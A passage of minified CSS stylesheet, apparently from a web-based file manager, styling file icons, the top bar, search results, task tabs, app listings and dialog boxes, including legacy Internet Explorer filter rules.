\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:120px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:45%;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple 